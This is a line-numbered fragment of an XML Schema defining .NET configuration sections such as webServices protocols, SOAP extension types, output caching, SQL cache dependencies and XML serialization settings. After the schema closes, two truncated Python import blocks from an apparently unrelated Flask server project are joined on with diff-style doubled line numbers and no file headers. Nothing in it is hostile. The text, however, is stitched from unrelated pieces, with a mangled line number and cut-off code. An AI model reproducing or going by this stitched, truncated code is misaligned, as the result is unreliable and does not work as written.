3411 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3412 </xs:complexType>
3413 </xs:element>
3414 <xs:element name="remove" vs:help="configuration/system.web/webServices/conformanceWarnings/remove">
3415 <xs:complexType>
3416 <xs:attribute name="name" use="optional">
3417 <xs:simpleType>
3418 <xs:union>
3419 <xs:simpleType>
3420 <xs:restriction base="xs:NMTOKEN">
3421 <xs:enumeration value="BasicProfile1_1" />
3422 <xs:enumeration value="None" />
3423 </xs:restriction>
3424 </xs:simpleType>
3425 <xs:simpleType>
3426 <xs:restriction base="xs:string" />
3427 </xs:simpleType>
3428 </xs:union>
3429 </xs:simpleType>
3430 </xs:attribute>
3431 </xs:complexType>
3432 </xs:element>
3433 <xs:element name="clear" vs:help="configuration/system.web/webServices/conformanceWarnings/clear">
3434 <xs:complexType>
3435 <!--tag is empty-->
3436 </xs:complexType>
3437 </xs:element>
3438 </xs:choice>
3439 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3440 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3441 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3442 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3443 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3444 </xs:complexType>
3445 </xs:element>
3446 <xs:element name="diagnostics" vs:help="configuration/system.web/webServices/diagnostics">
3447 <xs:complexType>
3448 <xs:attribute name="suppressReturningExceptions" type="small_boolean_Type" use="optional" />
3449 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3450 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3451 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3452 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3453 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3454 </xs:complexType>
3455 </xs:element>
3456 <xs:element name="protocols" vs:help="configuration/system.web/webServices/protocols">
3457 <xs:complexType>
3458 <xs:choice minOccurs="0" maxOccurs="unbounded">
3459 <xs:element name="add" vs:help="configuration/system.web/webServices/protocols/add">
3460 <xs:complexType>
3461 <xs:attribute name="name" use="optional">
3462 <xs:simpleType>
3463 <xs:union>
3464 <xs:simpleType>
3465 <xs:restriction base="xs:NMTOKEN">
3466 <xs:enumeration value="AnyHttpSoap" />
3467 <xs:enumeration value="Documentation" />
3468 <xs:enumeration value="HttpGet" />
3469 <xs:enumeration value="HttpPost" />
3470 <xs:enumeration value="HttpPostLocalhost" />
3471 <xs:enumeration value="HttpSoap" />
3472 <xs:enumeration value="HttpSoap12" />
3473 <xs:enumeration value="Unknown" />
3474 </xs:restriction>
3475 </xs:simpleType>
3476 <xs:simpleType>
3477 <xs:restriction base="xs:string" />
3478 </xs:simpleType>
3479 </xs:union>
3480 </xs:simpleType>
3481 </xs:attribute>
3482 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3483 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3484 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3485 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3486 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3487 </xs:complexType>
3488 </xs:element>
3489 <xs:element name="remove" vs:help="configuration/system.web/webServices/protocols/remove">
3490 <xs:complexType>
3491 <xs:attribute name="name" use="optional">
3492 <xs:simpleType>
3493 <xs:union>
3494 <xs:simpleType>
3495 <xs:restriction base="xs:NMTOKEN">
3496 <xs:enumeration value="AnyHttpSoap" />
3497 <xs:enumeration value="Documentation" />
3498 <xs:enumeration value="HttpGet" />
3499 <xs:enumeration value="HttpPost" />
3500 <xs:enumeration value="HttpPostLocalhost" />
3501 <xs:enumeration value="HttpSoap" />
3502 <xs:enumeration value="HttpSoap12" />
3503 <xs:enumeration value="Unknown" />
3504 </xs:restriction>
3505 </xs:simpleType>
3506 <xs:simpleType>
3507 <xs:restriction base="xs:string" />
3508 </xs:simpleType>
3509 </xs:union>
3510 </xs:simpleType>
3511 </xs:attribute>
3512 </xs:complexType>
3513 </xs:element>
3514 <xs:element name="clear" vs:help="configuration/system.web/webServices/protocols/clear">
3515 <xs:complexType>
3516 <!--tag is empty-->
3517 </xs:complexType>
3518 </xs:element>
3519 </xs:choice>
3520 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3521 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3522 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3523 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3524 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3525 </xs:complexType>
3526 </xs:element>
3527 <xs:element name="serviceDescriptionFormatExtensionTypes" vs:help="configuration/system.web/webServices/serviceDescriptionFormatExtensionTypes">
3528 <xs:complexType>
3529 <xs:choice minOccurs="0" maxOccurs="unbounded">
3530 <xs:element name="add" vs:help="configuration/system.web/webServices/serviceDescriptionFormatExtensionTypes/add">
3531 <xs:complexType>
3532 <xs:attribute name="type" type="xs:string" use="optional" />
3533 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3534 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3535 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3536 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3537 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3538 </xs:complexType>
3539 </xs:element>
3540 <xs:element name="remove" vs:help="configuration/system.web/webServices/serviceDescriptionFormatExtensionTypes/remove">
3541 <xs:complexType>
3542 <xs:attribute name="type" type="xs:string" use="optional" />
3543 </xs:complexType>
3544 </xs:element>
3545 <xs:element name="clear" vs:help="configuration/system.web/webServices/serviceDescriptionFormatExtensionTypes/clear">
3546 <xs:complexType>
3547 <!--tag is empty-->
3548 </xs:complexType>
3549 </xs:element>
3550 </xs:choice>
3551 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3552 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3553 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3554 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3555 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3556 </xs:complexType>
3557 </xs:element>
3558 <xs:element name="soapEnvelopeProcessing" vs:help="configuration/system.web/webServices/soapEnvelopeProcessing">
3559 <xs:complexType>
3560 <xs:attribute name="strict" type="small_boolean_Type" use="optional" />
3561 <xs:attribute name="readTimeout" use="optional">
3562 <xs:simpleType>
3563 <xs:union memberTypes="xs:int Infinite">
3564 <xs:simpleType>
3565 <xs:restriction base="xs:int" />
3566 </xs:simpleType>
3567 </xs:union>
3568 </xs:simpleType>
3569 </xs:attribute>
3570 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3571 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3572 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3573 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3574 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3575 </xs:complexType>
3576 </xs:element>
3577 <xs:element name="soapExtensionImporterTypes" vs:help="configuration/system.web/webServices/soapExtensionImporterTypes">
3578 <xs:complexType>
3579 <xs:choice minOccurs="0" maxOccurs="unbounded">
3580 <xs:element name="add" vs:help="configuration/system.web/webServices/soapExtensionImporterTypes/add">
3581 <xs:complexType>
3582 <xs:attribute name="type" type="xs:string" use="optional" />
3583 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3584 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3585 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3586 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3587 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3588 </xs:complexType>
3589 </xs:element>
3590 <xs:element name="remove" vs:help="configuration/system.web/webServices/soapExtensionImporterTypes/remove">
3591 <xs:complexType>
3592 <xs:attribute name="type" type="xs:string" use="optional" />
3593 </xs:complexType>
3594 </xs:element>
3595 <xs:element name="clear" vs:help="configuration/system.web/webServices/soapExtensionImporterTypes/clear">
3596 <xs:complexType>
3597 <!--tag is empty-->
3598 </xs:complexType>
3599 </xs:element>
3600 </xs:choice>
3601 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3602 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3603 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3604 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3605 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3606 </xs:complexType>
3607 </xs:element>
3608 <xs:element name="soapExtensionReflectorTypes" vs:help="configuration/system.web/webServices/soapExtensionReflectorTypes">
3609 <xs:complexType>
3610 <xs:choice minOccurs="0" maxOccurs="unbounded">
3611 <xs:element name="add" vs:help="configuration/system.web/webServices/soapExtensionReflectorTypes/add">
3612 <xs:complexType>
3613 <xs:attribute name="type" type="xs:string" use="optional" />
3614 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3615 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3616 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3617 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3618 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3619 </xs:complexType>
3620 </xs:element>
3621 <xs:element name="remove" vs:help="configuration/system.web/webServices/soapExtensionReflectorTypes/remove">
3622 <xs:complexType>
3623 <xs:attribute name="type" type="xs:string" use="optional" />
3624 </xs:complexType>
3625 </xs:element>
3626 <xs:element name="clear" vs:help="configuration/system.web/webServices/soapExtensionReflectorTypes/clear">
3627 <xs:complexType>
3628 <!--tag is empty-->
3629 </xs:complexType>
3630 </xs:element>
3631 </xs:choice>
3632 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3633 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3634 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3635 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3636 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3637 </xs:complexType>
3638 </xs:element>
3639 <xs:element name="soapExtensionTypes" vs:help="configuration/system.web/webServices/soapExtensionTypes">
3640 <xs:complexType>
3641 <xs:choice minOccurs="0" maxOccurs="unbounded">
3642 <xs:element name="add" vs:help="configuration/system.web/webServices/soapExtensionTypes/add">
3643 <xs:complexType>
3644 <xs:attribute name="group" use="optional">
3645 <xs:simpleType>
3646 <xs:restriction base="xs:NMTOKEN">
3647 <xs:enumeration value="High" />
3648 <xs:enumeration value="Low" />
3649 </xs:restriction>
3650 </xs:simpleType>
3651 </xs:attribute>
3652 <xs:attribute name="priority" use="optional">
3653 <xs:simpleType>
3654 <xs:restriction base="xs:int">
3655 <xs:minInclusive value="0" />
3656 </xs:restriction>
3657 </xs:simpleType>
3658 </xs:attribute>
3659 <xs:attribute name="type" type="xs:string" use="optional" />
3660 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3661 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3662 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3663 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3664 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3665 </xs:complexType>
3666 </xs:element>
3667 <xs:element name="remove" vs:help="configuration/system.web/webServices/soapExtensionTypes/remove">
3668 <xs:complexType>
3669 <xs:attribute name="group" use="optional">
3670 <xs:simpleType>
3671 <xs:restriction base="xs:NMTOKEN">
3672 <xs:enumeration value="High" />
3673 <xs:enumeration value="Low" />
3674 </xs:restriction>
3675 </xs:simpleType>
3676 </xs:attribute>
3677 <xs:attribute name="priority" use="optional">
3678 <xs:simpleType>
3679 <xs:restriction base="xs:int">
3680 <xs:minInclusive value="0" />
3681 </xs:restriction>
3682 </xs:simpleType>
3683 </xs:attribute>
3684 <xs:attribute name="type" type="xs:string" use="optional" />
3685 </xs:complexType>
3686 </xs:element>
3687 <xs:element name="clear" vs:help="configuration/system.web/webServices/soapExtensionTypes/clear">
3688 <xs:complexType>
3689 <!--tag is empty-->
3690 </xs:complexType>
3691 </xs:element>
3692 </xs:choice>
3693 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3694 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3695 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3696 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3697 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3698 </xs:complexType>
3699 </xs:element>
3700 <xs:element name="soapServerProtocolFactory" vs:help="configuration/system.web/webServices/soapServerProtocolFactory">
3701 <xs:complexType>
3702 <xs:attribute name="type" type="xs:string" use="optional" />
3703 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3704 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3705 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3706 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3707 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3708 </xs:complexType>
3709 </xs:element>
3710 <xs:element name="soapTransportImporterTypes" vs:help="configuration/system.web/webServices/soapTransportImporterTypes">
3711 <xs:complexType>
3712 <xs:choice minOccurs="0" maxOccurs="unbounded">
3713 <xs:element name="add" vs:help="configuration/system.web/webServices/soapTransportImporterTypes/add">
3714 <xs:complexType>
3715 <xs:attribute name="type" type="xs:string" use="optional" />
3716 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3717 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3718 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3719 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3720 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3721 </xs:complexType>
3722 </xs:element>
3723 <xs:element name="remove" vs:help="configuration/system.web/webServices/soapTransportImporterTypes/remove">
3724 <xs:complexType>
3725 <xs:attribute name="type" type="xs:string" use="optional" />
3726 </xs:complexType>
3727 </xs:element>
3728 <xs:element name="clear" vs:help="configuration/system.web/webServices/soapTransportImporterTypes/clear">
3729 <xs:complexType>
3730 <!--tag is empty-->
3731 </xs:complexType>
3732 </xs:element>
3733 </xs:choice>
3734 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3735 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3736 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3737 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3738 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3739 </xs:complexType>
3740 </xs:element>
3741 <xs:element name="wsdlHelpGenerator" vs:help="configuration/system.web/webServices/wsdlHelpGenerator">
3742 <xs:complexType>
3743 <xs:attribute name="href" type="xs:string" use="required" />
3744 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3745 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3746 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3747 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3748 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3749 </xs:complexType>
3750 </xs:element>
3751 </xs:choice>
3752 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3753 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3754 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3755 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3756 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3757 <xs:attribute name="configSource" type="xs:string" use="optional" />
3758 </xs:complexType>
3759 </xs:element>
3760 <xs:element name="xhtmlConformance" vs:help="configuration/system.web/xhtmlConformance">
3761 <xs:complexType>
3762 <xs:attribute name="mode" use="optional">
3763 <xs:simpleType>
3764 <xs:restriction base="xs:NMTOKEN">
3765 <xs:enumeration value="Legacy" />
3766 <xs:enumeration value="Strict" />
3767 <xs:enumeration value="Transitional" />
3768 </xs:restriction>
3769 </xs:simpleType>
3770 </xs:attribute>
3771 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3772 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3773 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3774 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3775 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3776 <xs:attribute name="configSource" type="xs:string" use="optional" />
3777 </xs:complexType>
3778 </xs:element>
3779 <xs:element name="caching" vs:help="configuration/system.web/caching">
3780 <xs:complexType>
3781 <xs:choice minOccurs="0" maxOccurs="unbounded">
3782 <xs:element name="cache" vs:help="configuration/system.web/caching/cache">
3783 <xs:complexType>
3784 <xs:attribute name="disableExpiration" type="small_boolean_Type" use="optional" />
3785 <xs:attribute name="disableMemoryCollection" type="small_boolean_Type" use="optional" />
3786 <xs:attribute name="percentagePhysicalMemoryUsedLimit" use="optional">
3787 <xs:simpleType>
3788 <xs:restriction base="xs:int">
3789 <xs:minInclusive value="0" />
3790 </xs:restriction>
3791 </xs:simpleType>
3792 </xs:attribute>
3793 <xs:attribute name="privateBytesLimit" type="xs:int" use="optional" />
3794 <xs:attribute name="privateBytesPollTime" type="xs:string" use="optional" />
3795 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3796 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3797 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3798 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3799 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3800 <xs:attribute name="configSource" type="xs:string" use="optional" />
3801 </xs:complexType>
3802 </xs:element>
3803 <xs:element name="outputCache" vs:help="configuration/system.web/caching/outputCache">
3804 <xs:complexType>
3805 <xs:attribute name="enableFragmentCache" type="small_boolean_Type" use="optional" />
3806 <xs:attribute name="enableOutputCache" type="small_boolean_Type" use="optional" />
3807 <xs:attribute name="omitVaryStar" type="small_boolean_Type" use="optional" />
3808 <xs:attribute name="sendCacheControlHeader" type="small_boolean_Type" use="optional" />
3809 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3810 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3811 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3812 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3813 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3814 <xs:attribute name="configSource" type="xs:string" use="optional" />
3815 </xs:complexType>
3816 </xs:element>
3817 <xs:element name="outputCacheSettings" vs:help="configuration/system.web/caching/outputCacheSettings">
3818 <xs:complexType>
3819 <xs:choice minOccurs="0" maxOccurs="unbounded">
3820 <xs:element name="outputCacheProfiles" vs:help="configuration/system.web/caching/outputCacheSettings/outputCacheProfiles">
3821 <xs:complexType>
3822 <xs:choice minOccurs="0" maxOccurs="unbounded">
3823 <xs:element name="add" vs:help="configuration/system.web/caching/outputCacheSettings/outputCacheProfiles/add">
3824 <xs:complexType>
3825 <xs:attribute name="duration" type="xs:int" use="optional" />
3826 <xs:attribute name="enabled" type="small_boolean_Type" use="optional" />
3827 <xs:attribute name="location" use="optional">
3828 <xs:simpleType>
3829 <xs:restriction base="xs:NMTOKEN">
3830 <xs:enumeration value="Any" />
3831 <xs:enumeration value="Client" />
3832 <xs:enumeration value="Downstream" />
3833 <xs:enumeration value="None" />
3834 <xs:enumeration value="Server" />
3835 <xs:enumeration value="ServerAndClient" />
3836 </xs:restriction>
3837 </xs:simpleType>
3838 </xs:attribute>
3839 <xs:attribute name="name" use="required">
3840 <xs:simpleType>
3841 <xs:restriction base="xs:string">
3842 <xs:minLength value="1" />
3843 <xs:whiteSpace value="collapse" />
3844 </xs:restriction>
3845 </xs:simpleType>
3846 </xs:attribute>
3847 <xs:attribute name="noStore" type="small_boolean_Type" use="optional" />
3848 <xs:attribute name="sqlDependency" type="xs:string" use="optional" />
3849 <xs:attribute name="varyByControl" type="xs:string" use="optional" />
3850 <xs:attribute name="varyByCustom" type="xs:string" use="optional" />
3851 <xs:attribute name="varyByHeader" type="xs:string" use="optional" />
3852 <xs:attribute name="varyByParam" type="xs:string" use="optional" />
3853 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3854 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3855 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3856 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3857 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3858 </xs:complexType>
3859 </xs:element>
3860 <xs:element name="remove" vs:help="configuration/system.web/caching/outputCacheSettings/outputCacheProfiles/remove">
3861 <xs:complexType>
3862 <xs:attribute name="name" use="required">
3863 <xs:simpleType>
3864 <xs:restriction base="xs:string">
3865 <xs:minLength value="1" />
3866 <xs:whiteSpace value="collapse" />
3867 </xs:restriction>
3868 </xs:simpleType>
3869 </xs:attribute>
3870 </xs:complexType>
3871 </xs:element>
3872 <xs:element name="clear" vs:help="configuration/system.web/caching/outputCacheSettings/outputCacheProfiles/clear">
3873 <xs:complexType>
3874 <!--tag is empty-->
3875 </xs:complexType>
3876 </xs:element>
3877 </xs:choice>
3878 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3879 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3880 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3881 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3882 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3883 </xs:complexType>
3884 </xs:element>
3885 </xs:choice>
3886 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3887 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3888 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3889 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3890 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3891 <xs:attribute name="configSource" type="xs:string" use="optional" />
3892 </xs:complexType>
3893 </xs:element>
3894 <xs:element name="sqlCacheDependency" vs:help="configuration/system.web/caching/sqlCacheDependency">
3895 <xs:complexType>
3896 <xs:choice minOccurs="0" maxOccurs="unbounded">
3897 <xs:element name="databases" vs:help="configuration/system.web/caching/sqlCacheDependency/databases">
3898 <xs:complexType>
3899 <xs:choice minOccurs="0" maxOccurs="unbounded">
3900 <xs:element name="add" vs:help="configuration/system.web/caching/sqlCacheDependency/databases/add">
3901 <xs:complexType>
3902 <xs:attribute name="connectionStringName" use="required">
3903 <xs:simpleType>
3904 <xs:restriction base="xs:string">
3905 <xs:minLength value="1" />
3906 </xs:restriction>
3907 </xs:simpleType>
3908 </xs:attribute>
3909 <xs:attribute name="name" use="required">
3910 <xs:simpleType>
3911 <xs:restriction base="xs:string">
3912 <xs:minLength value="1" />
3913 </xs:restriction>
3914 </xs:simpleType>
3915 </xs:attribute>
3916 <xs:attribute name="pollTime" type="xs:int" use="optional" />
3917 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3918 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3919 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3920 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3921 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3922 </xs:complexType>
3923 </xs:element>
3924 <xs:element name="remove" vs:help="configuration/system.web/caching/sqlCacheDependency/databases/remove">
3925 <xs:complexType>
3926 <xs:attribute name="name" use="required">
3927 <xs:simpleType>
3928 <xs:restriction base="xs:string">
3929 <xs:minLength value="1" />
3930 </xs:restriction>
3931 </xs:simpleType>
3932 </xs:attribute>
3933 </xs:complexType>
3934 </xs:element>
3935 <xs:element name="clear" vs:help="configuration/system.web/caching/sqlCacheDependency/databases/clear">
3936 <xs:complexType>
3937 <!--tag is empty-->
3938 </xs:complexType>
3939 </xs:element>
3940 </xs:choice>
3941 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3942 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3943 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3944 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3945 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3946 </xs:complexType>
3947 </xs:element>
3948 </xs:choice>
3949 <xs:attribute name="enabled" type="small_boolean_Type" use="optional" />
3950 <xs:attribute name="pollTime" type="xs:int" use="optional" />
3951 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3952 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3953 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3954 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3955 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3956 <xs:attribute name="configSource" type="xs:string" use="optional" />
3957 </xs:complexType>
3958 </xs:element>
3959 </xs:choice>
3960 </xs:complexType>
3961 </xs:element>
3962 </xs:choice>
3963 </xs:complexType>
3964 </xs:element>
3965 <xs:element name="system.xml.serialization" vs:help="configuration/system.xml.serialization">
3966 <xs:complexType>
3967 <xs:choice minOccurs="0" maxOccurs="unbounded">
3968 <xs:element name="dateTimeSerialization" vs:help="configuration/system.xml.serialization/dateTimeSerialization">
3969 <xs:complexType>
3970 <xs:attribute name="mode" use="optional">
3971 <xs:simpleType>
3972 <xs:restriction base="xs:NMTOKEN">
3973 <xs:enumeration value="Default" />
3974 <xs:enumeration value="Local" />
3975 <xs:enumeration value="Roundtrip" />
3976 </xs:restriction>
3977 </xs:simpleType>
3978 </xs:attribute>
3979 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3980 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3981 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3982 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3983 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3984 <xs:attribute name="configSource" type="xs:string" use="optional" />
3985 </xs:complexType>
3986 </xs:element>
3987 <xs:element name="schemaImporterExtensions" vs:help="configuration/system.xml.serialization/schemaImporterExtensions">
3988 <xs:complexType>
3989 <xs:choice minOccurs="0" maxOccurs="unbounded">
3990 <xs:element name="add" vs:help="configuration/system.xml.serialization/schemaImporterExtensions/add">
3991 <xs:complexType>
3992 <xs:attribute name="name" type="xs:string" use="required" />
3993 <xs:attribute name="type" type="xs:string" use="optional" />
3994 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3995 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3996 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3997 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3998 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3999 </xs:complexType>
4000 </xs:element>
4001 <xs:element name="remove" vs:help="configuration/system.xml.serialization/schemaImporterExtensions/remove">
4002 <xs:complexType>
4003 <xs:attribute name="name" type="xs:string" use="required" />
4004 </xs:complexType>
4005 </xs:element>
4006 <xs:element name="clear" vs:help="configuration/system.xml.serialization/schemaImporterExtensions/clear">
4007 <xs:complexType>
4008 <!--tag is empty-->
4009 </xs:complexType>
4010 </xs:element>
4011 </xs:choice>
4012 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
4013 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
4014 <xs:attribute name="lockElements" type="xs:string" use="optional" />
4015 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
4016 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
4017 <xs:attribute name="configSource" type="xs:string" use="optional" />
4018 </xs:complexType>
4019 </xs:element>
4020 <xs:element name="xmlSerializer" vs:help="configuration/system.xml.serialization/xmlSerializer">
4021 <xs:complexType>
4022 <xs:attribute name="checkDeserializeAdvances" type="small_boolean_Type" use="optional" />
4023 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
4024 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
4025 <xs:attribute name="lockElements" type="xs:string" use="optional" />
4026 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
4027 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
4028 <xs:attribute name="configSource" type="xs:string" use="optional" />
4029 </xs:complexType>
4030 </xs:element>
4031 </xs:choice>
4032 </xs:complexType>
4033 </xs:element>
40344034 </xs:schema>
33 import time
44
55 import datetime
6 import flask
76 from flask import Blueprint
87 from flask_classful import route
98 from marshmallow import fields, post_load
109
1110 from server.api.base import AutoSchema, ReadWriteWorkspacedView, PaginatedMixin
12 from server.utils.logger import get_logger
13 from server.utils.web import (
14 gzipped,
15 validate_workspace,
16 filter_request_args, get_integer_parameter
17 )
1811 from server.models import Command, Workspace
1912 from server.schemas import PrimaryKeyRelatedField
2013
11 # Copyright (C) 2016 Infobyte LLC (http://www.infobytesec.com/)
22 # See the file 'doc/LICENSE' for the license information
33 import json
4 import re
54
65 import flask
76 from flask import Blueprint
87 from marshmallow import Schema, fields, post_load, validate
9 from sqlalchemy.orm import undefer
108
119 from server.models import db, Workspace
12 from server.utils.logger import get_logger
1310 from server.schemas import (
1411 JSTimestampField,
1512 MutableField,
1613 PrimaryKeyRelatedField,
1714 SelfNestedField,
18 )
